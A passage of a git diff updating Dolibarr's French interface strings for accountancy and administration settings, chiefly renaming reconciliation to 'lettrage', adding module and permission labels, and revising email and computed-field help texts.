et leur compte comptable DescVentilTodoExpenseReport=Lier les lignes de note de frais par encore liées à un compte comptable DescVentilExpenseReport=Consultez ici la liste des lignes de notes de frais liées (ou non) à un compte comptable @@ -292,8 +300,9 @@ DescValidateMovements=Toute modification ou suppression d'écriture, de lettrage ValidateHistory=Lier automatiquement AutomaticBindingDone=Liaisons automatiques effectuées (%s) - Liaison automatique impossible pour certains enregistrements (%s) +DoManualBindingForFailedRecord=Vous devez réaliser un lettrage manuel pour la/les %s ligne·s non lettré·es automatiquement. -ErrorAccountancyCodeIsAlreadyUse=Erreur, vous ne pouvez pas détruire de compte comptable car il est utilisé +ErrorAccountancyCodeIsAlreadyUse=Erreur, vous ne pouvez pas supprimer ou désactiver ce compte comptable car il est utilisé MvtNotCorrectlyBalanced=Mouvement non équilibré. Débit = %s & Crédit = %s Balancing=Équilibrage FicheVentilation=Fiche lien @@ -305,7 +314,7 @@ ChangeBinding=Changer les liens Accounted=En comptabilité NotYetAccounted=Pas encore transféré en comptabilité ShowTutorial=Afficher le tutoriel -NotReconciled=Non rapproché +NotReconciled=Non lettré WarningRecordWithoutSubledgerAreExcluded=Attention, toutes les lignes sans compte auxiliaire défini sont filtrées et exclues de cette vue AccountRemovedFromCurrentChartOfAccount=Compte comptable qui n'existe pas dans le plan comptable actuel @@ -323,9 +332,10 @@ AccountingJournalType1=Opérations diverses AccountingJournalType2=Ventes AccountingJournalType3=Achats AccountingJournalType4=Banque -AccountingJournalType5=Note de frais +AccountingJournalType5=Notes de frais AccountingJournalType8=Inventaire AccountingJournalType9=A-nouveaux +GenerationOfAccountingEntries=Génération des écritures comptables ErrorAccountingJournalIsAlreadyUse=Le journal est déjà utilisé AccountingAccountForSalesTaxAreDefinedInto=Remarque: Le compte comptable pour la TVA est défini dans le menu %s - %s NumberOfAccountancyEntries=Nombre d'entrées @@ -333,10 +343,14 @@ NumberOfAccountancyMovements=Nombre de mouvements ACCOUNTING_DISABLE_BINDING_ON_SALES=Désactiver la liaison et le transfert en comptabilité des factures de ventes (les factures clients ne seront pas prises en compte en comptabilité). ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Désactiver la liaison et le transfert en comptabilité des factures d'achats (les factures fournisseurs ne seront pas prises en compte en comptabilité). ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Désactiver la liaison et le transfert en comptabilité des notes de frais (les notes de frais ne seront pas prises en compte en comptabilité). +ACCOUNTING_ENABLE_LETTERING=Activer la fonction de lettrage dans la comptabilité +ACCOUNTING_ENABLE_AUTOLETTERING=Activer le lettrage automatique lors du transfert en comptabilité ## Export +NotExportLettering=Ne pas exporter le lettrage lors de la génération du fichier NotifiedExportDate=Marquer les lignes exportées comme Exportées (pour modifier une ligne, vous devrez supprimer toute la transaction et la retransférer en comptabilité) NotifiedValidationDate=Validez et verrouillez les entrées exportées (même effet que la fonctionnalité "%s", la modification et la suppression des lignes ne seront définitivement plus possibles) +NotifiedExportFull=Exporter les documents sources ? DateValidationAndLock=Validation et verrouillage de la date ConfirmExportFile=Confirmation de la génération du fichier d'export comptable ? ExportDraftJournal=Exporter le journal brouillon @@ -393,7 +407,7 @@ SaleLocal=Vente locale SaleExport=Vente export SaleEEC=Vente dans la CEE SaleEECWithVAT=Vente dans la CEE avec un taux de TVA non nul, on considère qu'il s'agit d'une vente intracommunutaire à un assujetti à la TVA et le compte comptable suggéré est le compte comptable de vente classique. -SaleEECWithoutVATNumber=Vente dans la CEE avec un taux de TVA nul mais sans numéro de TVA intracommunutaire renseigné dans la fiche du tiers. Nous forçons ainsi le compte comptable de vente classique. Il est nécessaire de renseigner le numéro de TVA intracommunautaire dans la fiche du tiers ou changer le compte comptable de vente si nécessaire. +SaleEECWithoutVATNumber=Vente dans la CEE sans TVA, mais le N° de TVA du tiers n'est pas défini. On se rabat sur le compte pour les ventes normales. Vous pouvez corriger le N° de TVA du tiers , ou changer le compte de produit associé si nécessaire. ForbiddenTransactionAlreadyExported=Interdit : La transaction a été validée et/ou exportée. ForbiddenTransactionAlreadyValidated=Interdit : La transaction a été validée. ## Dictionary @@ -402,22 +416,22 @@ Calculated=Calculé Formula=Formule ## Reconcile -LetteringAuto=Rapprocher automatiquement -LetteringManual=Rapprocher manuel -Unlettering=Annuler le rapprochement -UnletteringAuto=Annuler le rapprochement automatique -UnletteringManual=Annuler rapprochement manuel -AccountancyNoLetteringModified=Pas de rapprochement modifié -AccountancyOneLetteringModifiedSuccessfully=Un rapprochement modifié avec succès -AccountancyLetteringModifiedSuccessfully=%s rapprochements modifiés avec succès -AccountancyNoUnletteringModified=Aucune annulation de rapprochement modifiée -AccountancyOneUnletteringModifiedSuccessfully=Une annulation de rapprochement modifiée avec succès -AccountancyUnletteringModifiedSuccessfully=%s annulations de rapprochement modifiées avec succès +LetteringAuto=Lettrage automatique +LetteringManual=Lettrage manuel +Unlettering=Annuler le lettrage +UnletteringAuto=Annuler le lettrage automatique +UnletteringManual=Annuler lettrage manuel +AccountancyNoLetteringModified=Pas de lettrage modifié +AccountancyOneLetteringModifiedSuccessfully=Un lettrage modifié avec succès +AccountancyLetteringModifiedSuccessfully=%s lettrages modifiés avec succès +AccountancyNoUnletteringModified=Aucune annulation de lettrage modifiée +AccountancyOneUnletteringModifiedSuccessfully=Une annulation de lettrage modifiée avec succès +AccountancyUnletteringModifiedSuccessfully=%s annulations de lettrage modifiées avec succès ## Confirm box -ConfirmMassUnletteringAuto=Confirmation d'annulation de rapprochement automatique -ConfirmMassUnletteringManual=Confirmation de dé-rapprochement manuel -ConfirmMassUnletteringQuestion=Voulez-vous vraiment annuler le rapprochement des %s enregistrements sélectionnés ? +ConfirmMassUnletteringAuto=Confirmation de l'annulation du lettrage automatique +ConfirmMassUnletteringManual=Confirmation de l'annulation du lettrage manuel +ConfirmMassUnletteringQuestion=Voulez-vous vraiment annuler le lettrage des %s enregistrements sélectionnés ? ConfirmMassDeleteBookkeepingWriting=Confirmation de suppression en masse ConfirmMassDeleteBookkeepingWritingQuestion=Cela supprimera la transaction de la comptabilité (toutes les lignes liées à la même transaction seront supprimées). Êtes-vous sûr de vouloir supprimer le(s) %s enregistrement(s) sélectionné(s) ? @@ -437,6 +451,7 @@ AccountancyErrorMismatchLetterCode=Non-concordance dans le code de réconciliati AccountancyErrorMismatchBalanceAmount=Le solde (%s) n'est pas égal à 0 AccountancyErrorLetteringBookkeeping=Des erreurs sont survenues concernant les transactions : %s ErrorAccountNumberAlreadyExists=Le code comptable %s existe déjà +ErrorArchiveAddFile=Impossible de mettre le fichier "%s" dans l'archive ## Import ImportAccountingEntries=Écritures comptables @@ -463,6 +478,7 @@ FECFormatMulticurrencyCode=Code multidevise (Idevise) DateExport=Date d'export WarningReportNotReliable=Attention : ce rapport n'est pas basé sur le grand livre et ne contient donc pas les écritures manuelles qui lui ont été ajoutées. Si votre journalisation est à jour, la vue depuis le grand livre sera plus précise. ExpenseReportJournal=Journal des notes de frais -InventoryJournal=Journal d'inventaire +DocsAlreadyExportedAreExcluded=Les documents déjà exportés sont exclus +ClickToHideAlreadyExportedLines=Cliquer pour cacher les documents déjà exportés NAccounts=%s comptes diff --git a/htdocs/langs/fr_FR/admin.lang b/htdocs/langs/fr_FR/admin.lang index 69f077d628f..6b97695d8e9 100644 --- a/htdocs/langs/fr_FR/admin.lang +++ b/htdocs/langs/fr_FR/admin.lang @@ -145,6 +145,7 @@ Box=Widget Boxes=Widgets MaxNbOfLinesForBoxes=Nombre maximum de lignes dans les widgets AllWidgetsWereEnabled=Tous les widgets disponibles ont été activés +WidgetAvailable=Widget disponible PositionByDefault=Position par défaut Position=Position MenusDesc=Les gestionnaires de menu définissent le contenu des deux barres de menus (la barre horizontale et la barre verticale). Il est possible de mettre un gestionnaire différent selon que l'utilisateur est interne ou externe. @@ -292,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Nom d'hôte ou adresse IP du serveur SMTP/SMTPS (Par défa MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Port du serveur SMTP/SMTPS (Non défini dans le PHP sur les systèmes de type Unix) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=Nom d'hôte ou adresse IP du serveur SMTP/SMTPS (Non défini dans le PHP sur les systèmes de type Unix) MAIN_MAIL_EMAIL_FROM=Adresse email de l'émetteur pour l'envoi d'emails automatiques (Par défaut dans php.ini: %s) +EMailHelpMsgSPFDKIM=Pour éviter que les e-mails envoyés par Dolibarr soient classés comme spam, assurez-vous que le serveur est autorisé à envoyer des e-mails à partir de cette adresse en configurant les protocoles d’authentification SPF et DKIM. MAIN_MAIL_ERRORS_TO=E-mail utilisé pour les retours d'erreur (champ "Errors-To" dans les e-mails envoyés) MAIN_MAIL_AUTOCOPY_TO= Envoyer systématiquement une copie cachée (Bcc) des emails envoyés à MAIN_DISABLE_ALL_MAILS=Désactiver globalement tout envoi d'emails (pour mode test ou démos) @@ -373,7 +375,7 @@ DoTestSendHTML=Tester envoi HTML ErrorCantUseRazIfNoYearInMask=Erreur, ne peut utiliser l'option @ pour remettre à zéro en début d'année si la séquence {yy} ou {yyyy} n'est pas dans le masque. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Erreur, ne peut utiliser l'option @ si la séquence {yy}{mm} ou {yyyy}{mm} n'est pas dans le masque. UMask=Masque des nouveaux fichiers sous Unix/Linux/BSD/Mac. -UMaskExplanation=Ce paramètre permet de définir les droits des fichiers créés sur le serveur par Dolibarr (lors d'envois par exemple).
      Ce doit être la valeur octale (par exemple 0666 signifie lecture/écriture pour tous).
      Ce paramètre n'a aucun effet sur un serveur Windows. +UMaskExplanation=Ce paramètre permet de définir les permissions définies par défaut sur les fichiers créés par Dolibarr sur le serveur (lors d'un upload par exemple).
      Il s'agit de la valeur octale (par exemple, 0666 signifie lecture et écriture pour tous.). La valeur recommandée est 0600 ou 0660.
      Ce paramètre est inutile sur un serveur Windows. SeeWikiForAllTeam=Voir le wiki pour le détail de tous les contributeurs et leur organisation UseACacheDelay= Délai de mise en cache de l'export en secondes (0 ou vide pour aucun cache) DisableLinkToHelpCenter=Cacher le lien «Besoin d'aide ou assistance» sur la page de connexion @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Cases à cocher ExtrafieldCheckBoxFromList=Cases à cocher issues d'une table ExtrafieldLink=Lien vers un objet ComputedFormula=Champ calculé -ComputedFormulaDesc=Vous pouvez entrer ici une formule utilisant les propriétés objet ou tout code PHP pour obtenir des valeurs dynamiques. Vous pouvez utiliser toute formule compatible PHP, incluant l'opérateur conditionnel "?", et les objets globaux suivants : $db, $conf, $langs, $mysoc, $user, $object.
      ATTENTION : Seulement quelques propriétés de l'objet $object pourraient être disponibles. Si vous avez besoin de propriétés non chargées, créez vous même une instance de l'objet dans votre formule, comme dans le deuxième exemple.
      Utiliser un champs calculé signifie que vous ne pouvez pas entrer vous même toute valeur à partir de l'interface. Aussi, s'il y a une erreur de syntaxe, la formule pourrait ne rien retourner.

      Exemple de formule:
      $object->id < 10 ? round($object->id / 2, 2) : ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Exemple pour recharger l'objet:
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id : ($obj->rowid ? $obj->rowid : $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5 : '-1'

      Un autre exemple de formule pour forcer le rechargement d'un objet et de son objet parent:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetch($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref : 'Objet parent projet non trouvé' +ComputedFormulaDesc=Vous pouvez entrer ici une formule en utilisant d’autres propriétés de l'objet ou tout autre code PHP pour obtenir une valeur calculée dynamique. Vous pouvez utiliser toutes les formules compatibles PHP, y compris l'opérateur conditionnel "?", ainsi que les objets globaux suvants : $db, $conf, $langs, $mysoc, $user, $objectoffield.
      ATTENTION : Si vous avez besoin des propriétés d’un objet non disponible, il vous suffit de le charger même dans votre formule comme dans le deuxième exemple.
      L'utilisation d'un champ calculé signifie que vous ne pouvez pas entrer vous-même une valeur depuis l’interface. De même, en cas d'erreur de syntaxe, la formule peut ne rien retourner.

      Exemple de formule :
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2) : ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Exemple pour recharger l’object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5 : '-1')

      Autre exemple de formule pour forcer le chargement d'un objet et de ses objets parents :
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref : 'Projet parent introuvable’ Computedpersistent=Stocker le champ calculé ComputedpersistentDesc=Les champs supplémentaires calculés seront stockés dans la base de données. Toutefois, la valeur ne sera recalculée que lorsque l'objet de ce champ sera modifié. Si le champ calculé dépend d'autres objets ou de données globales, cette valeur peut être fausse !! ExtrafieldParamHelpPassword=Laissez ce champ vide signifie que la valeur sera stockée sans cryptage (le champ doit juste être caché avec des étoiles sur l'écran).
      Définissez la valeur 'auto' pour utiliser la règle de cryptage par défaut pour enregistrer le mot de passe dans la base de données (ensuite la valeur utilisée sera le hash uniquement, sans moyen de retrouver la valeur d'origine) @@ -501,7 +503,8 @@ WarningPHPMail=AVERTISSEMENT: la configuration pour envoyer des e-mails à parti WarningPHPMailA= - L'utilisation des serveurs de prestataires de messagerie augmente le niveau confiance des e-mails, cela augmente donc les chances de délivrabilité en n'étant pas considéré comme spam. WarningPHPMailB=- Certains fournisseurs de services de messagerie (comme Yahoo) ne vous permettent pas d'envoyer un e-mail à partir d'un autre serveur que leur propre serveur. Votre configuration actuelle utilise le serveur de l'application pour envoyer des e-mails et non le serveur de votre fournisseur de messagerie, donc certains destinataires (ceux compatibles avec le protocole DMARC restrictif), demanderont à votre fournisseur de messagerie si ils peuvent accepter votre message et ce fournisseur de messagerie (comme Yahoo) peut répondre «non» parce que le serveur d'envoi n'est pas le leur, aussi une partie de vos e-mails envoyés peuvent ne pas être acceptés pour la livraison (faites également attention au quota d'envoi de votre fournisseur de messagerie). WarningPHPMailC=- Utiliser le serveur SMTP de votre propre fournisseur de services de messagerie pour envoyer des e-mails est également intéressant afin que tous les e-mails envoyés depuis l'application soient également enregistrés dans votre répertoire "Envoyés" de votre boîte aux lettres. -WarningPHPMailD=Aussi, il est recommandé de changer le mode d'envoi des e-mails à la valeur "SMTP". Si vous souhaitez vraiment conserver la méthode "PHP" par défaut pour envoyer des e-mails, ignorez simplement cet avertissement ou supprimez-le en définissant la constante MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP sur 1 dans Accueil - Configuration - Divers. +WarningPHPMailD=Il est donc recommandé de changer la méthode d'envoi des e-mails à la valeur "SMTP". +WarningPHPMailDbis=Si vous voulez vraiment conserver la méthode par défaut "PHP" pour envoyer des e-mails, ignorez simplement cet avertissement ou supprimez-le en %scliquant ici%s. WarningPHPMail2=Si votre fournisseur de messagerie SMTP a besoin de restreindre le client de messagerie à certaines adresses IP (très rare), voici l'adresse IP du mail user agent (MUA) de votre application CRM ERP : %s . WarningPHPMailSPF=Si le nom de domaine de votre adresse e-mail d'expéditeur est protégé par un enregistrement SPF (demandez à votre fournisseur de nom de domaine), vous devez inclure les adresses IP suivantes dans l'enregistrement SPF du DNS de votre domaine: %s. ActualMailSPFRecordFound=Enregistrement SPF réel trouvé (pour l'e-mail %s) : %s @@ -643,11 +646,13 @@ Module2300Name=Travaux planifiés Module2300Desc=Gestion des travaux planifiées (alias cron ou table chrono) Module2400Name=Événements/Agenda Module2400Desc=Gestion des événements. Laissez l'application tracer automatiquement les événements pour des besoins de suivi ou enregistrer manuellement des événements ou rendez-vous dans l'agenda. Ceci est le module le plus important pour une bonne Gestion de la Relation Client ou Fournisseur. +Module2430Name=Système de calendrier de réservation +Module2430Desc=Proposez un calendrier en ligne pour permettre à quiconque de réserver un rendez-vous, en fonction de plages et de disponibilités prédéfinies. Module2500Name=GED Module2500Desc=Gestion de documents (GED). Stockage automatic des documents générés ou stockés. Fonction de partage. -Module2600Name=API/Web services (serveur SOAP) +Module2600Name=API / Web services (serveur SOAP) Module2600Desc=Active le server SOAP Dolibarr fournissant des services API -Module2610Name=API/Web services (serveur REST) +Module2610Name=API / Web services (serveur REST) Module2610Desc=Active le server REST Dolibarr fournissant des services API Module2660Name=Appel de Webservices externes (client SOAP) Module2660Desc=Activez le client Dolibarr de services Web (Peut être utilisé pour pousser des données/demandes vers des serveurs externes. Seules les commandes Fournisseurs sont prises en charge pour le moment) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Capacités de conversion GeoIP Maxmind Module3200Name=Archives/Logs Inaltérables Module3200Desc=Active la journalisation de certains événements métiers dans une log/archive inaltérable. Les événements sont archivés en temps réel. L'archive est une table d'événements chaînés qui peut être lu uniquement et exporté. Ce module permet d'être compatible avec les exigences des lois de certains pays (comme par exemple la loi Finance 2016 ou norme 525 en France). +Module3300Name=Module Builder +Module3300Desc=Un outil RAD (Rapid Application Development - low-code et no-code) pour aider les développeurs ou les utilisateurs avancés à construire leur propre module/application. Module3400Name=Réseaux sociaux Module3400Desc=Activez les champs de réseaux sociaux dans les tiers et les adresses (skype, twitter, facebook, ...). Module4000Name=GRH @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Ajouts de fonctionnalités pour gérer les incoterms Module63000Name=Ressources Module63000Desc=Gère les ressources (imprimantes, voitures, salles...). les ressources peuvent être affectées à des événements. -Permission11=Consulter les factures clients +Module66000Name=Activer l'authentification OAuth2 +Module66000Desc=Fournir un outil pour générer et gérer des jetons OAuth2. Le jeton peut ensuite être utilisé par d'autres modules. +Module94160Name=Réceptions +Permission11=Lire les factures (et paiements) clients Permission12=Créer/modifier les factures clients Permission13=Dé-valider les factures clients Permission14=Valider les factures clients @@ -842,7 +852,7 @@ Permission286=Exporter les contacts Permission291=Consulter les tarifs Permission292=Définir les permissions sur les tarifs Permission293=Modifier les tarifs clients -Permission301=Générer le PDF du code barre +Permission301=Générer la planche PDF de code barres Permission304=Créer/modifier les codes-barres Permission305=Supprimer les codes-barres Permission311=Consulter les services @@ -940,7 +950,7 @@ Permission1190=Approuver les commandes fournisseur (second niveau) Permission1191=Exporter les commandes fournisseurs et leurs attributs Permission1201=Récupérer le résultat d'un export Permission1202=Créer/modifier un export -Permission1231=Consulter les factures fournisseur +Permission1231=Lire les factures (et paiements) fournisseurs Permission1232=Créer les factures fournisseur Permission1233=Valider les factures fournisseur Permission1234=Supprimer les factures fournisseur @@ -971,13 +981,14 @@ Permission3301=Générer de nouveaux modules Permission4001=Lire compétence/emploi/poste Permission4002=Créer/modifier une compétence/un emploi/un poste Permission4003=Supprimer compétence/emploi/poste -Permission4020=Lire les évaluations -Permission4021=Créer/modifier votre évaluation -Permission4022=Valider l'évaluation -Permission4023=Supprimer l'évaluation -Permission4030=Voir menu de comparaison +Permission4021=Lire les évaluations (les vôtres et celle de vos subordonnés) +Permission4022=Créer/modifier des évaluations +Permission4023=Valider l'évaluation +Permission4025=Supprimer l'évaluation +Permission4028=Voir menu de comparaison Permission4031=Lire les informations personnelles Permission4032=Ecrire les informations personnelles +Permission4033=Lire toutes les évaluations (même celles des utilisateurs non subordonnés) Permission10001=Lire le contenu du site Permission10002=Créer/modifier le contenu du site Web (contenu HTML et JavaScript) Permission10003=Créer/modifier le contenu du site Web (code php dynamique). Dangereux, doit être réservé à un nombre restreint de développeurs. @@ -1226,7 +1237,7 @@ SetupDescription4= %s -> %s

      Ce logiciel est un ensembl SetupDescription5=Les autres entrées de configuration gèrent des paramètres facultatifs. SetupDescriptionLink= %s - %s SetupDescription3b=Paramètres de base utilisés pour personnaliser le comportement par défaut de votre application (par exemple pour les fonctionnalités liées au pays). -SetupDescription4b=Ce logiciel est une suite de nombreux modules/applications. Les modules liés à vos besoins doivent être activés et configurés. Les entrées de menu apparaîtront avec l'activation de ces modules. +SetupDescription4b=Ce logiciel est une suite de nombreux modules/applications. Les modules correspondants à vos besoins doivent être activés. Les entrées de menu apparaîtront avec l'activation de ces modules. AuditedSecurityEvents=Événements de sécurité audités NoSecurityEventsAreAduited=Aucun événement de sécurité n'est audité. Vous pouvez les activer à partir du menu %s Audit=Événements de sécurité @@ -1242,12 +1253,13 @@ BrowserName=Nom du navigateur BrowserOS=OS du navigateur ListOfSecurityEvents=Liste des événements de sécurité Dolibarr SecurityEventsPurged=Evenement de sécurité purgés -TrackableSecurityEvents=événement de sécurité traçable +TrackableSecurityEvents=Evénement de sécurité traçable LogEventDesc=Vous pouvez activer ici l'historique des événements d'audit de sécurité. Cet historique est consultable par les administrateurs dans le menu %s - %s. Attention, cette fonctionnalité peut générer un gros volume de données. AreaForAdminOnly=Les paramètres d'installation ne peuvent être remplis que par les utilisateurs administrateurs uniquement. SystemInfoDesc=Les informations systèmes sont des informations techniques diverses accessibles en lecture seule aux administrateurs uniquement. SystemAreaForAdminOnly=Cet espace n'est accessible qu'aux utilisateurs de type administrateur. Aucune permission Dolibarr ne permet d'étendre le cercle des utilisateurs autorisés à cet espace. CompanyFundationDesc=Modifiez les informations de votre société/organisation. Cliquez sur le bouton "%s" en bas de page pour sauvegarder. +MoreNetworksAvailableWithModule=Plus de réseaux sociaux peuvent être disponible en activant le module "Réseaux Sociaux". AccountantDesc=Si vous avez un comptable externe, vous pouvez saisir ici ses informations. AccountantFileNumber=Code comptable DisplayDesc=Les paramètres affectant l'apparence et la présentation de l'application peuvent être modifiés ici. @@ -1265,6 +1277,7 @@ TriggerActiveAsModuleActive=Déclencheurs de ce fichier actifs car le module GeneratedPasswordDesc=Définissez ici quelle règle vous voulez utiliser pour générer les mots de passe quand vous demandez à générer un nouveau mot de passe DictionaryDesc=Définissez ici les données de référence. Vous pouvez compléter/modifier les données prédéfinies avec les vôtres. ConstDesc=Cette page vous permet d'éditer (remplacer) des paramètres non disponibles dans d'autres pages. Il s'agit principalement de paramètres réservés pour les développeurs et dépannage avancé uniquement. Consultez ici la liste des options. +MiscellaneousOptions=Options diverses MiscellaneousDesc=Définissez ici les autres paramètres en rapport avec la sécurité. LimitsSetup=Configuration des limites et précisions LimitsDesc=Vous pouvez définir ici les limites, précisions et optimisations utilisées par Dolibarr @@ -1298,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Vous devez exécuter la command YourPHPDoesNotHaveSSLSupport=Fonctions SSL non présentes dans votre PHP DownloadMoreSkins=Plus de thèmes à télécharger SimpleNumRefModelDesc=Renvoie le numéro sous la forme %syymm-nnnn où yy est l'année, mm le mois et nnnn un compteur séquentiel sans rupture et sans remise à 0. +SimpleRefNumRefModelDesc=Renvoie le numéro de référence au format n où n est un numéro séquentiel auto-incrémenté sans réinitialisation +AdvancedNumRefModelDesc=Renvoie le numéro sous la forme %syymm-nnnn où yy est l'année, mm le mois et nnnn un compteur séquentiel sans rupture et sans remise à 0. SimpleNumRefNoDateModelDesc=Renvoie le numéro de référence au format %s-nnnn où nnnn est un nombre séquentiel autoincrémenté sans réinitialisation ShowProfIdInAddress=Afficher l'identifiant professionnel dans les adresses ShowVATIntaInAddress=Masquer le numéro de TVA intracommunautaire @@ -1384,7 +1399,7 @@ GetBarCode=Récupérer code barre NumberingModules=Modèles de numérotation DocumentModules=Modèles de documents ##### Module password generation -PasswordGenerationStandard=Renvoie un mot de passe généré selon l'algorythme interne de Dolibarr :%s caractères contenant chiffres et minuscules +PasswordGenerationStandard=Renvoie un mot de passe généré selon l'algorithme interne de Dolibarr : %s caractères contenant des nombres et des caractères partagés. PasswordGenerationNone=Ne pas suggérer un mot de passe généré. Le mot de passe doit être entré manuellement. PasswordGenerationPerso=Renvoie un mot de passe en fonction d'une configuration personnalisée. SetupPerso=Selon votre configuration @@ -1438,6 +1453,10 @@ SuppliersPayment=Règlements fournisseurs SupplierPaymentSetup=Configuration des règlements fournisseurs InvoiceCheckPosteriorDate=Vérifier la facture avant validation InvoiceCheckPosteriorDateHelp=Valider une facture est interdit si sa date est antérieur à la date de la dernière facture du même type +InvoiceOptionCategoryOfOperations=Afficher la mention "catégorie d'opérations" sur la facture. +InvoiceOptionCategoryOfOperationsHelp=Selon les cas, la mention apparaîtra sous la forme :
      - Catégorie d'opérations : Livraison de biens
      - Catégorie d'opérations : Prestation de services
      - Catégorie d'opérations : Mixte - Livraison de biens & prestation de services +InvoiceOptionCategoryOfOperationsYes1=Oui, sous le bloc d'adresse +InvoiceOptionCategoryOfOperationsYes2=Oui, dans le coin inférieur gauche ##### Proposals ##### PropalSetup=Configuration du module Propositions Commerciales ProposalsNumberingModules=Modèles de numérotation des propositions commerciales @@ -1480,11 +1499,12 @@ WatermarkOnDraftContractCards=Filigrane sur les brouillons de contrats (aucun si ##### Members ##### MembersSetup=Configuration du module Adhérents MemberMainOptions=Options principales +MemberCodeChecker=Options de génération automatique des codes des adhérents AdherentLoginRequired= Gérer un identifiant pour chaque adhérent AdherentMailRequired=Email obligatoire pour créer un nouvel adhérent MemberSendInformationByMailByDefault=Case à cocher pour envoyer un email de confirmation (validation ou nouvelle cotisation) aux adhérents est à oui par défaut. MemberCreateAnExternalUserForSubscriptionValidated=Créer un utilisateur externe pour chaque nouvelle cotisation adhérent validée -VisitorCanChooseItsPaymentMode=Le visiteur peut choisir parmi les modes de paiement disponibles +VisitorCanChooseItsPaymentMode=Le visiteur peut choisir parmi tous les modes de paiement disponibles MEMBER_REMINDER_EMAIL=Activer le rappel automatique par e-mail des adhésions expirées. Remarque: le module %s doit être activé et configuré correctement pour qu'un rappel soit envoyé. MembersDocModules=Modèle de document pour le document généré depuis la fiche d'un adhérent ##### LDAP setup ##### @@ -1746,9 +1766,8 @@ ActivateFCKeditor=Activer l'éditeur avancé pour : FCKeditorForNotePublic=Création/édition WYSIWIG du champ notes publiques des éléments FCKeditorForNotePrivate=Création/édition WYSIWIG du champ notes privées des éléments FCKeditorForCompany=Création/édition WYSIWIG de la description des éléments (autre que produits/services) -FCKeditorForProduct=Création/édition WYSIWIG du champ description des produits/services -FCKeditorForProductDetails=Création/édition WYSIWYG des lignes de détails produits sur tous les éléments (commandes, propales, factures, etc...). -FCKeditorForProductDetails2=Attention: L'utilisation pour ce cas est fortement déconseillée car peut créer des problèmes dans la gestion de caractères et mise en page des fichiers PDF générés. +FCKeditorForProductDetails=Création/édition WYSIWYG de la description des produits ou des lignes d'un objet (propositions, commandes, factures, etc). +FCKeditorForProductDetails2=ATTENTION : L'utilisation de cette option pour ce cas n'est vraiment pas recommandée car elle peut créer des problèmes avec des caractères spéciaux et la mise en forme des pages lors de la création de fichiers PDF. FCKeditorForMailing= Création/édition WYSIWIG des emailings (Outils->Emailings) FCKeditorForUserSignature=Création/édition WYSIWIG de la signature des utilisateurs FCKeditorForMail=Création/édition WYSIWIG tous les emails (sauf Outils->Emailings) @@ -1815,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Utiliser les types d'événements (gérés dans le menu Co AGENDA_USE_EVENT_TYPE_DEFAULT=Configurez automatiquement cette valeur par défaut pour le type d'événement dans le formulaire de création d'événement. AGENDA_DEFAULT_FILTER_TYPE=Positionner automatiquement ce type d'événement dans le filtre de recherche de la vue agenda AGENDA_DEFAULT_FILTER_STATUS=Positionner automatiquement ce statut d'événement dans le filtre de recherche de la vue agenda +AGENDA_EVENT_PAST_COLOR=Couleur de l'événement passé +AGENDA_EVENT_CURRENT_COLOR=Couleur de l'événement en cours +AGENDA_EVENT_FUTURE_COLOR=Couleur de l'événement futur AGENDA_DEFAULT_VIEW=Quel onglet voulez-vous voir ouvrir par défaut quand on choisit le menu Agenda AGENDA_REMINDER_BROWSER=Activer le rappel d'événement sur le navigateur de l'utilisateur (lorsque la date de l'événement est atteinte, une popup est affichée sur la navigateur. Chaque utilisateur peut désactiver de telles notification depuis la configuration des notifications de son navigateur) AGENDA_REMINDER_BROWSER_SOUND=Activer les notifications sonores. @@ -1842,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=La décrémentation de stock depuis c CashDeskYouDidNotDisableStockDecease=Vous n'avez pas désactivé la réduction de stock lors d'une vente depuis le Point de vente. Par conséquent, un entrepôt est nécessaire. CashDeskForceDecreaseStockLabel=La diminution des stocks de produits soumis à numéros de lots a été forcée. CashDeskForceDecreaseStockDesc=Diminuez d'abord par les dates de DMD/DLUO ou DLC les plus anciennes -CashDeskReaderKeyCodeForEnter=Code clé pour "Entrée" défini dans le lecteur de code-barres (exemple: 13) +CashDeskReaderKeyCodeForEnter=Code ASCII clé pour "Entrer" défini dans le lecteur de code-barres (Exemple : 13) ##### Bookmark ##### BookmarkSetup=Configuration du module Marque-pages BookmarkDesc=Ce module vous permet de gérer des liens et raccourcis. Il permet aussi d'ajouter n'importe quelle page de Dolibarr ou lien web dans le menu d'accès rapide sur la gauche. @@ -1880,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Modèles de numérotation des factures fournisseu IfSetToYesDontForgetPermission=Si positionné sur une valeur non nulle, n'oubliez pas de donner les permissions aux groupes ou utilisateurs qui auront le droit de cette seconde approbation. ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Configuration du module GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Chemin du fichier Maxmind contenant les conversions IP->Pays.
      Exemples
      /usr/local/share/GeoIP/GeoIP.dat
